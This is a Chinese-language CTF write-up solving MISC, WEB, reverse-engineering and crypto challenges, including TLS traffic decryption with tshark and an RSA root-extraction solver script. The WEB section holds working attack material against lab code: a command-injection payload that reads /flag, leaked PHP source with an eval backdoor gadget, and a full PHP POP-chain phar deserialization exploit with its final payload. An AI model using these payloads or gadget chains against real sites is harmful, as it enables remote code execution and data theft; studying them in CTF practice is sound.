MISC
GIF
简单的二维码,可以使用WPS把每帧分离保存,按顺序拼接,最后扫码获取flag
重生之我在嘉庚当黑客



flag格式改成xujc即可
洋葱二维码
code128、QR code、Maxicode、Aztec code、PDF417、汉信码之类的交替着试,二维码套娃。总之,用中国编码和https://demo.dynamsoft.com/barcode-reader/轮着试就行
SSL

HTTPS
流量,给了sslkey.log
首先使用sslkey
解密包内容,编辑>首选项>Protocols>TLS

过滤出GET
请求的包
http.request.method==GET

这些包的URL
中有个参数名是:kcahsni
取出这些包的kcahsni
的值,数量不多,可以手工取出来,也可使用Tshark
取出来
tshark -r capture.pcap -o 'ssl.keylog_file:sslkey.log' -Y 'http contains "GET /searchbyimage"' -T fields -e http.request.uri.query.parameter > outdata.txt
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D82290383-7480-487c-b78b-77ac769c56cd%26kcahsni%3D9ef773fe97f56554a3b4,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D8bd542b5-2056-489e-bc1c-4f028ef27894%26kcahsni%3D26cd07e1f71df3dcee9f,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3De76528cd-17d3-490a-be20-2d817ccee04e%26kcahsni%3D1eaf89725ab93968fc52,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D491c01dd-f1a3-43c3-b3c8-30c4ab73ff4b%26kcahsni%3Df03c0a7d653539616433,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Deeed4c5d-8a5f-4b8c-a12d-a2ef007e09e2%26kcahsni%3D66333861303164636130,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Db69d43cd-ac86-4b20-acc6-6a441d94ae3e%26kcahsni%3D30663937353965366432,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3De56bc952-42c2-4631-96ee-e2e7cac51406%26kcahsni%3D30353331373634326335,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Dece42ab1-a9d1-44df-a0b5-6b7e83aa9cd0%26kcahsni%3D34323166636461643033,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D71ad1cf6-a31a-4694-812b-9ea5db6e3cad%26kcahsni%3D34656265373037376332,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D1b3c7025-b1a8-477f-9d16-89c254af258a%26kcahsni%3D62646464343732627b41,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D64ac599c-e5ac-43bc-a2e0-0447257cd5bc%26kcahsni%3D534e490b3295c3d06c24,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Dd8af7f01-5b92-4ad3-8c80-c6af467eac30%26kcahsni%3Df2a8c7e8936667dbf7fe,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D01b77323-6be9-4abd-b427-9f09d992a4df%26kcahsni%3Dce28456a0fd24ac21ec6,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D3f3e4f2f-5d92-4d3a-8ce8-f11943b42df3%26kcahsni%3Da12e3efe4b,encoded_image=,image_content=,filename=,hl=fr
使用Python处理一下,最后结果需要逆序一下
#Written by: mochu7
import binascii
from urllib.parse import unquote
flag=b''
with open('./outdata.txt') as f:
for line in f.readlines():
line = unquote(line)
hexdata = line[line.find('kcahsni=')+8:line.find(',')]
hexstring = binascii.unhexlify(hexdata)
flag += hexstring
print(flag[::-1])

WEB
RCE
GET:?lpr=dir /; POST: wzg=system
得到名为flag的文件
GET:?lpr=more /[e-h][k-m][0-b][e-h]; POST: wzg=system
得到flag
文件管理器
因为题目提示文件查看器的默认目录在/var/www/html,所以猜测index.php也在这个目录下,可能存在任意文件读取漏洞,尝试查看

成功,并且发现在相同路径下还有两个php文件分别是upload.php和read.php
read.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>卫继龚的文件查看器</title>
<style>
.search_form{
width:602px;
height:42px;
}
/*左边输入框设置样式*/
.input_text{
width:400px;
height: 40px;
border:1px solid green;
/*清除掉默认的padding*/
padding:0px;
/*提示字首行缩进*/
text-indent: 10px;
/*去掉蓝色高亮框*/
outline: none;
/*用浮动解决内联元素错位及小间距的问题*/
float:left;
}
.input_sub{
width:100px;
height: 42px;
background: green;
text-align:center;
/*去掉submit按钮默认边框*/
border:0px;
/*改成右浮动也是可以的*/
float:left;
color:white;/*搜索的字体颜色为白色*/
cursor:pointer;/*鼠标变为小手*/
}
.file_content{
width:500px;
height: 242px;
}
</style>
</head>
<?php
include('class.php');
$a=new aa();
?>
<body>
<h1>卫继龚的文件查看器</h1>
<form class="search_form" action="" method="post">
<input type="text" class="input_text" placeholder="请输入搜索内容" name="file">
<input type="submit" value="查看" class="input_sub">
</form>
</body>
</html>
<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){
die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>
<br>
<textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>
upload.php
<html>
<title>卫继龚的文件上传器</title>
<body>
<form action="" enctype="multipart/form-data" method="post">
<p>请选择要上传的文件:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])){
$upload_path="upload/".md5(time()).".txt";
$temp_file = $_FILES['upload_file']['tmp_name'];
if (move_uploaded_file($temp_file, $upload_path)) {
echo "文件路径:".$upload_path;
} else {
$msg = '上传失败';
}
}
分析read.php发现还有一份叫class.php的代码被引用

同样读取出来
<?php
class aa{
public $name;
public function __construct(){
$this->name='aa';
}
public function __destruct(){
$this->name=strtolower($this->name);
}
}
class ff{
private $content;
public $func;
public function __construct(){
$this->content="\<?php @eval(\$_POST[1]);?>";
}
public function __get($key){
$this->$key->{$this->func}($_POST['cmd']);
}
}
class zz{
public $filename;
public $content='surprise';
public function __construct($filename){
$this->filename=$filename;
}
public function filter(){
if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
die('这不合理');
}
}
public function write($var){
$filename=$this->filename;
$lt=$this->filename->$var;
//此功能废弃,不想写了
}
public function getFile(){
$this->filter();
$contents=file_get_contents($this->filename);
if(!empty($contents)){
return $contents;
}else{
die("404 not found");
}
}
public function __toString(){
$this->{$_POST['method']}($_POST['var']);
return $this->content;
}
}
class xx{
public $name;
public $arg;
public function __construct(){
$this->name='eval';
$this->arg='phpinfo();';
}
public function __call($name,$arg){
$name($arg[0]);
}
}
至此整份网站php代码应该都被读出来了,开始代码审计
起点是read.php中的aa类
$a=new aa() #new一个aa类的对象
aa类的__destruct方法中用了strtolower函数且参数是属性name,此函数用于将字符串转换成小写字母形式,因此我们可以将其参数设置成zz类的对象,此时zz类的对象会被当成字符串从而触发zz类的__toString方法
$a->name=new zz() #将aa类的对象的name属性赋值为zz类的对象
在zz类的__toString方法中
this->{_POST[‘method’]}($_POST[‘var’]);
这行代码调用了zz类中的一个函数,但是函数名和参数都需要我们自己POST来传
我们可以让它调用zz类的write函数,将参数设置为content (为什么是content原因往下看)
因此需要post传参 method=write&var=content
此时上面代码就变成了
$this->write('content')
此时就来到zz类的write函数
我们可以很清楚的看到
$lt=$this->filename->$var
当前类的filename的$var属性赋值给了变量$lt,而这个变量$var就是上面我们传入的参数content
于是,上面的代码就相当于
$lt=$this->filename->content
因此我们可以将当前类的filename属性赋值为ff类的对象,这样就相当于将ff类中的content属性赋值给变量$lt,但是在ff类中,content是私有属性,是不可通过外部访问的。这样,因为我们在外部访问了ff类中不可访问的私有属性content从而触发了ff类中的__get方法。
$a->name->filename=new ff(); #将filename属性赋值为ff类的对象
而此时的变量$var,也就是content,将作为__get方法的参数传入进去,也就是变量$key
所以最终触发的是
__get('content')
而在__get函数内部又有这么一行代码
$this->$key->{$this->func}($_POST[‘cmd’]);
我们知道此时的变量$key是触发__get方法时传入的content
所以上面的代码就相当于
$this->content->{$this->func}($_POST['cmd']);
可以看到我们调用了一个函数,这个函数是当前类的属性content中的函数,函数名为当前类的func属性的值(即$this->func),函数变量为POST传入的参数cmd的值(即$_POST[‘cmd’])
如果此时直接将func赋值为system,cmd赋值为cat /flag
最终得到的是
$this->content->system('cat /flag');
很显然这样的代码并不能执行,因为当前类的content还没有赋值,并且也content中也没有system方法,而且它和 system(‘cat /flag’) 也不一样
所以ff类的__get方法并不是链子的终点
我们需要将ff类的content属性赋值为xx类的对象,此时就相当于调用了xx类中的system方法
xx类中有system方法吗?很显然没有!
但是,由于我们调用了xx类中不存在的方法,因此触发了xx类中的__call方法
__call方法接收两个参数,一个是$name,一个是$arg
这两个参数分别对应我们调用的不存在的方法的方法名和参数
也就是我们最终触发的是
__call('system','cat /flag')
而在__call函数中对此函数又进行了构造,也就是这行代码
$name($arg[0]);
变量$name是system,$arg[0]是我们传入的第一个参数’cat /flag’
因此构造成了函数
system('cat /flag')
至此,利用链结束!
最终poc
<?php
class aa{
public $name;
}
class ff{
private $content;
public $func="system";
public function __construct(){
$this->content=new xx();
}
}
class zz{
public $filename;
public $content;
}
class xx{
public $name;
public $arg;
}
$a=new aa();
$a->name=new zz();
$a->name->filename=new ff();
$phar = new phar('exp.phar');
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");
$phar -> setMetadata($a);
$phar -> addFromString("test.txt","test");
$phar -> stopBuffering();
?>
这里需要使用phar反序化,因为代码中并没有存在反序化函数,而phar包在执行时正好有反序列化的操作
将生成出来的phar包上传后,下面是最终post包中的payload
file=phar://upload/你的文件.txt&method=write&var=content&cmd=cat /flag
REVERSE
Re高手
IDA打开

点开ff1看看

这里有个flag::set

后面还有个ssss
静态分析好像看不出一些变量的值
直接IDA动调 在flag::set下断点
步过发现没什么实质变化
继续进入ssss
查看其中v2的值

发现flag出来了
然后跑完26次循环后shift+E导出内存数据得到flag
CRYPTO
RSA没有难题
先用Adleman-Manders-Miller rth Root Extraction Method
在GF(p)
和GF(q)
上对c
开e
次方根,分别得到一个解。大概不到10秒。
然后去找到所有的0x1336
个primitive nth root of 1
,乘以上面那个解,得到所有的0x1337
个解。大概1分钟。
再用CRT
对GF(p)
和GF(q)
上的两组0x1337
个解组合成 mod n
下的解,可以得到0x1337**2=24196561个 modn 的解。最后能通过check()的即为flag。大概十几分钟。
# -*- coding:utf8 -*-
from gmpy2 import *
from Crypto.Util.number import *
import random
import math
def onemod(e, q):
p = random.randint(1, q-1)
while(powmod(p, (q-1)//e, q) == 1): # (r,s)=1
p = random.randint(1, q)
return p
def AMM_rth(o, r, q): # r|(q-1
assert((q-1) % r == 0)
p = onemod(r, q)
t = 0
s = q-1
while(s % r == 0):
s = s//r
t += 1
k = 1
while((s*k+1) % r != 0):
k += 1
alp = (s*k+1)//r
a = powmod(p, r**(t-1)*s, q)
b = powmod(o, r*a-1, q)
c = powmod(p, s, q)
h = 1
for i in range(1, t-1):
d = powmod(int(b), r**(t-1-i), q)
if d == 1:
j = 0
else:
j = (-math.log(d, a)) % r
b = (b*(c**(r*j))) % q
h = (h*c**j) % q
c = (c*r) % q
result = (powmod(o, alp, q)*h)
return result
def ALL_Solution(m, q, rt, cq, e):
mp = []
for pr in rt:
r = (pr*m) % q
# assert(pow(r, e, q) == cq)
mp.append(r)
return mp
def calc(mp, mq, e, p, q):
i = 1
j = 1
t1 = invert(q, p)
t2 = invert(p, q)
for mp1 in mp:
for mq1 in mq:
j += 1
if j % 1000000 == 0:
print(j)
ans = (mp1*t1*q+mq1*t2*p) % (p*q)
if check(ans):
return
return
def check(m):
try:
a = long_to_bytes(m).decode('utf-8')
if 'NCTF' in a:
print(a)
return True
else:
return False
except:
return False
def ALL_ROOT2(r, q): # use function set() and .add() ensure that the generated elements are not repeated
li = set()
while(len(li) < r):
p = powmod(random.randint(1, q-1), (q-1)//r, q)
li.add(p)
return li
if __name__ == '__main__':
c = 10562302690541901187975815594605242014385201583329309191736952454310803387032252007244962585846519762051885640856082157060593829013572592812958261432327975138581784360302599265408134332094134880789013207382277849503344042487389850373487656200657856862096900860792273206447552132458430989534820256156021128891296387414689693952047302604774923411425863612316726417214819110981605912408620996068520823370069362751149060142640529571400977787330956486849449005402750224992048562898004309319577192693315658275912449198365737965570035264841782399978307388920681068646219895287752359564029778568376881425070363592696751183359
p = 199138677823743837339927520157607820029746574557746549094921488292877226509198315016018919385259781238148402833316033634968163276198999279327827901879426429664674358844084491830543271625147280950273934405879341438429171453002453838897458102128836690385604150324972907981960626767679153125735677417397078196059
q = 112213695905472142415221444515326532320352429478341683352811183503269676555434601229013679319423878238944956830244386653674413411658696751173844443394608246716053086226910581400528167848306119179879115809778793093611381764939789057524575349501163689452810148280625226541609383166347879832134495444706697124741
e = 0x1337
cp = c % p
cq = c % q
mp = AMM_rth(cp, e, p)
mq = AMM_rth(cq, e, q)
rt1 = ALL_ROOT2(e, p)
rt2 = ALL_ROOT2(e, q)
amp = ALL_Solution(mp, p, rt1, cp, e)
amq = ALL_Solution(mq, q, rt2, cq, e)
calc(amp, amq, e, p, q)